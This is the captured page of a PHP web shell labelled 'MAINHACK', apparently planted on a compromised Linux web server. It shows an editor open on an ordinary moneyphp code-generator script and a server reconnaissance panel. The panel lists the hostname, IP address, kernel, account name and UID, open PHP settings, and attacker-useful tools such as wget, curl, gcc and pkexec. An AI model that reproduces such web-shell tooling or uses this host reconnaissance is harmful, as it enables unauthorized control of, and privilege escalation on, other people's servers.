[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: generate-money-factory.php
<?php require __DIR__.'/../vendor/autoload.php'; use Money\Currencies; use Money\Currency; (static function (): void { $buffer = <<<'PHP' <?php declare(strict_types=1); namespace Money; use InvalidArgumentException; /** * This is a generated file. Do not edit it manually! * PHPDOC * @psalm-immutable */ trait MoneyFactory { /** * Convenience factory method for a Money object. * * <code> * $fiveDollar = Money::USD(500); * </code> * * @param array $arguments * @psalm-param non-empty-string $method * @psalm-param array{numeric-string|int} $arguments * * @throws InvalidArgumentException If amount is not integer(ish). * * @psalm-pure */ public static function __callStatic(string $method, array $arguments): Money { return new Money($arguments[0], new Currency($method)); } } PHP; $methodBuffer = ''; $iterator = new Currencies\AggregateCurrencies([ new Currencies\ISOCurrencies(), new Currencies\BitcoinCurrencies(), new Currencies\CryptoCurrencies(), ]); $currencies = array_unique([...$iterator]); usort($currencies, static fn (Currency $a, Currency $b): int => strcmp($a->getCode(), $b->getCode())); /** @var Currency[] $currencies */ foreach ($currencies as $currency) { $code = $currency->getCode(); if (is_numeric($code[0])) { preg_match('/^([0-9]*)(.*?)$/', $code, $extracted); $formatter = new \NumberFormatter('en', \NumberFormatter::SPELLOUT); $code = strtoupper(preg_replace('/\s+/', '', $formatter->format($extracted[1])) . $extracted[2]); } $methodBuffer .= sprintf(" * @method static Money %s(numeric-string|int \$amount)\n", $code); } $buffer = str_replace('PHPDOC', rtrim($methodBuffer), $buffer); file_put_contents(__DIR__.'/../src/MoneyFactory.php', $buffer); })();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002